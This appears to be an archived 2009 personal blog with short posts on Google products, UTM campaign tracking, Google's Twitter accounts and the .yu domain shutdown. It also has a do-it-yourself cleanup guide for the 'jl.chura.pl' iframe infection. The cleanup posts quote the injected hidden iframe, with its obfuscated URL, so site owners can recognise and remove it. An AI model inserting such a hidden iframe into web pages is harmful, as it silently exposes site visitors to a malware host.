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Tracking Advertisement Campaigns

We can track easily with using google analytics for all advertising campaings. We use utm_source, utm_medium, utm_campaing, utm_content and utm_term for tracking..

utm_medium is using for particular marketing; email, affiliate, paid search etc.

utm_source is our basic source which is we used to advertising; google adwords, facebook ads etc.

utm_campaing is your advertising campaing name, you will see this name in google analytics; %20 discount, Free shipping etc.

And URL example for following

  • utm_medium=banner-adv
  • utm_source=adwords
  • utm_campaign=free-membership
  • utm_content=300-250-fire


From now on we can track our campaing in Google Analytics easily..


Google Announce Chromium OS Project

Today Google released Chromium OS, the open source project behind Google Chrome OS. Google Chrome OS is an operating system that is intended for people who spend most of their time on the web. It aims to provide a computing experience that is fast, simple and secure. The Chromium OS project as you'll see it today is comprised of the code that has been developed thus far, our early experiments with the user interface, and detailed design docs for many parts that are under active development.

Fore more information and announcement:



Google Create New Programming Language : GO

Google Engineers create new programming language "Go". In first look it is look like C++ or Java. We will see, how it will be.

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Google Announced Ad Manager Blog and Twitter Page

Google Ad Manager

Google Ad Manager

Google likes twitting and blogging. I posted Google Twitter list before. They sent a new announcement they create Google Ad Manager Blog and Google Ad Manager Twitter Page. 

 Here is the announcement;

To keep you up-to-date with the latest news from the Google Ad Manager team, we're excited to announce the launch of the Google Ad Manager Blog and Twitter page!

The Ad Manager blog (googleadmanager.blogspot.com) is a place for you to turn to for the latest news, tips, and resources from an assortment of Googlers on the Ad Manager team. You can look forward to regular posts, so bookmark the link above and come back to visit often. You can also subscribe to our RSS feed (top right corner of the blog) so you never miss a post.

In addition to the blog, you can now follow Ad Manager (@googleadmanager) on Twitter to get daily, bite-sized updates from the Ad Manager team. If you have any suggestions for what you want to see, feel free to send an @reply to us.

Please note that since we want to make the Ad Manager blog and Twitter page as useful as possible to everyone following us, we can't respond via the blog or Twitter to questions regarding individual Ad Manager accounts. Please continue to visit the Ad Manager Help Center and Help Forum to troubleshoot your specific issues.

Happy tweeting and blogging!
The Google Ad Manager Team


Google On Twitter

Google starts using twitter effectively. Here is the list of google's twitter accounts.

twitter.com/Google - our central account
twitter.com/Blogger - for Blogger fans
twitter.com/GoogleCalendar - user tips & updates
twitter.com/GoogleImages - news, tips, tricks on our visual image search
twitter.com/GoogleNews - latest headlines via Google News
twitter.com/GoogleReader - from our feed reader team
twitter.com/iGoogle - news & notes from Google's personalized homepage
twitter.com/GoogleStudents - news of interest to students using Google
twitter.com/YouTube - for YouTube fans
twitter.com/YouTubeES - en Espanol
twitter.com/GoogleAtWork - solutions for IT and workplace productivity

twitter.com/SketchUp - Google SketchUp news
twitter.com/3DWH - SketchUp's 3D Warehouse
twitter.com/Modelyourtown - 3D modeling to build your favorite places
twitter.com/EarthOutreach - Earth & Maps tools for nonprofits & orgs
twitter.com/GoogleMaps - uses, tips, mashups
twitter.com/GoogleSkyMap -Android app for the night sky

twitter.com/AdSense - for online publishers
twitter.com/AdWordsHelper - looking out for AdWords questions and tech issues
twitter.com/AdWordsProSarah - Google Guide for AdWords Help Forum
twitter.com/GoogleAnalytics - insights for website effectiveness
twitter.com/GoogleAdBuilder - re building display ads
twitter.com/GoogleRetail - for retail advertisers
twitter.com/TechnologyUK - for U.K. tech advertisers
twitter.com/InsideAdWordsDE - for German AdWords customers
twitter.com/GoogleAgencyDE - for German ad agencies
twitter.com/AdSensePT - info for Portuguese-language publishers
twitter.com/AdWordsRussia - AdWords news & tips in Russian
twitter.com/DentroDeAdWords - Spanish updates from the Inside AdWords blog
twitter.com/AdWordsAPI - AdWords API tips

Developer & technical
twitter.com/GoogleResearch - from our research scientists
twitter.com/GoogleWMC - Google Webmaster Central
twitter.com/GoogleCode - latest updates for Google developer products
twitter.com/GoogleData - Data APIs provide a standard protocol for reading and writing web data
twitter.com/app_engine - web apps run on Google infrastructure
twitter.com/DataLiberation - our initiative for complete import/export of all data
twitter.com/GoogleMapsAPI - about using Google Maps embedded in websites
twitter.com/GoogleIO - Google's largest annual developer event

Culture, People
twitter.com/googletalks - notes from our @Google speaker series
twitter.com/googlejobs - the voice of Google recruiters

Country or Region
twitter.com/googlearabia - news from the Google Arabia Blog*

twitter.com/googledownunder - Google activities in Australia & New Zealand
twitter.com/GoogleDE - Google in Germany
twitter.com/GoogleLatAm - Latin America (en Espanol)
twitter.com/GooglePolicyIt - Notes on Google policy issues in Italy

Iframe Virus jl.chura.pl Removal Todo List

I wrote a post about "Iframe Virus jl.chura.pl Removal". Everyday, lots of users come to that post. I want write more about jl.chura.pl virus. I write a todo list.

jl.chura.pl Virus Remove todo list:

  1. Change all FTP passwords which is saved in your FTP program (ex. CuteFtp)
  2. Close your web sites if they are virused.
  3. Remove this code: "<iframe src="http://jL.ch&#117;ra.pl/rc/" style="display:none"></iframe>" with using Dreamweaver or any program which is access all pages in a directory.
  4. Dont forget this virus add this all pages (.php, .html, .asp) which have got </body> tag, virus add before this tag. Virus can add code to javascripts too.
  5. Download "Avast Home Edition", free and infected this virus.
  6. Setup Avast Home Edition
  7. Restart your PC and open in safe mode
  8. Scan all of your computer.
  9. Upload clean pages to your web site
  10. Reopen your web site
  11. If google says your web site is have badwares, read;
    1. My site?s been hacked ? now what??
    2. Hey Google, I no longer have badware

PS: I am not guarenteed virus removal, this is my todo list. I did and now it is all cleaned.


Iframe Virus jl.chura.pl Removal

Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..

&amp;lt;iframe src=&amp;quot;http://jL.ch&amp;amp;#117;ra.pl/rc/&amp;quot; style=&amp;quot;d&amp;amp;#105;splay:none&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;

UPDATED (5th June 2009):

After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. Download Avast Home Edition >

This virus also affected your google results. Google can block your site because of badware. You have to read "My site's been hacked - now what?" and after remove your virus you have to read "Hey Google, I no longer have badware".

PS: I am not guarenteed virus removal, these are only what i do.


Important Warning for .yu Domains

Are you the owner of a .yu domain? Then you might have heard the news: as of September 30, all .yu domains will stop working, regardless of their renewal date. This means that any content you're hosting on a .yu domain will no longer be online. For those of you who would still like to have your site online, we've prepared some recommendations to make sure that Google keeps crawling, indexing, and serving your content appropriately.

  • Check your backlinks. Since it won't be possible to set up a redirection from the old .yu domain to your new one, all links pointing to .yu domains will lead to dead ends. This means that it will be increasingly difficult for search engines to retrieve your new content. To find out who is linking to you, sign up with Google Webmaster Tools and check the links to your site (you can also download this list as a "comma separated value" -- .csv -- file for ease of use). Then read through the list for sites that you recognize as important and contact their webmasters to make sure that they update their links to your new website.
  • Check your internal links. If you are planning to simply move your content in bulk from the old to the new site, make sure that the new internal navigation is up to date. For example, if you are renaming pages on your site from "www.example.yu/home.htm" to "www.example.com/home.htm" make sure that your internal navigation reflects such changes to prevent broken links.
  • Start moving the site to your new domain. It's a good idea to start moving while you can still maintain control of your old domain, so don't wait! As mentioned in our best practices when moving your site, we recommend starting by moving a single directory or subdomain, and testing the results before completing the move. Remember that you will not be able to keep a 301 redirection on your old domain after September 30, so start your test early.
While you're moving your site, you can test how Google crawls and indexes your new site at its new location by submitting a Sitemap via Google Webmaster Tools. Although we may not crawl or index all the pages listed in each Sitemap, we recommend that you submit one because doing so helps Google understand your site better. You can read more on this topic in our answers to the most frequently asked questions on Sitemaps. And remember that for any question or concerns we're waiting for you in the Google Webmaster Help Forum!
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Twitter with Google Analytics and Google Website Optimizer

Here is the list of Official Google Analytics and Google Website Optimizer personel lists in twitter.

Brett Crosby
Google Analytics Group Product Marketing Manager
Twitter bio: "One man brand"

Avinash Kaushik
twitter.com/avinashkaushik (@avinashkaushik)
Google Analytics Evangelist
Twitter bio: "Author - Web Analytics: An Hour A Day | Analytics Evangelist - Google | Co-Founder - Market Motive Inc"

Trevor Claiborne
twitter.com/tclaiborne (@tclaiborne)
Google Website Optimizer Product Marketing Manager
Twitter bio: "Product Marketing Manager for Google Website Optimizer and a nice guy too"

Justin Cutroni
twitter.com/justincutroni (@justincutroni)
Google Analytics Authorized Consultant with Epikone and author of Google Analytics Shortcut

Bryan Eisenberg
twitter.com/TheGrok (@TheGrok)
Google Website Optimizer Authorized Consultant with FutureNow.
Twitter bio: "Website Conversion, Persuasion Architecture expert and best selling author of Waiting for Your Cat to Bark, Call to Action, and Always Be Testing."
Twitter bio: "Dad, husband, skiier, hiker, cook, data nerd, author."
Source : http://analytics.blogspot.com/2009/06/twittering-with-google-analytics-and.html


Speed Up Your Web Sites

Page SpeedGoogle focus on speed and they believe that making their web sites load and display faster improves the user experience and helps them become more productive. Google announced, they want to share Page Speed (open source) which is used  and developed over the years. Page Speed's suggestions are based on a set of commonly accepted best practices that we and other websites implement.

What is Page Speed?

Page Speed is an open-source Firefox/Firebug Add-on. Webmasters and web developers can use Page Speed to evaluate the performance of their web pages and to get suggestions on how to improve them.

How does Page Speed work?

Page Speed performs several tests on a site's web server configuration and front-end code. These tests are based on a set of best practices known to enhance web page performance. Webmasters who run Page Speed on their pages get a set of scores for each page, as well as helpful suggestions on how to improve its performance.

Why should you use Page Speed?

By using Page Speed, you can:

  • Make your site faster.
  • Keep Internet users engaged with your site.
  • Reduce your bandwidth and hosting costs.
  • Improve the web!

Page Speed Home Page >
Page Speed Announce at Google Blog >
At TechCrung Blog >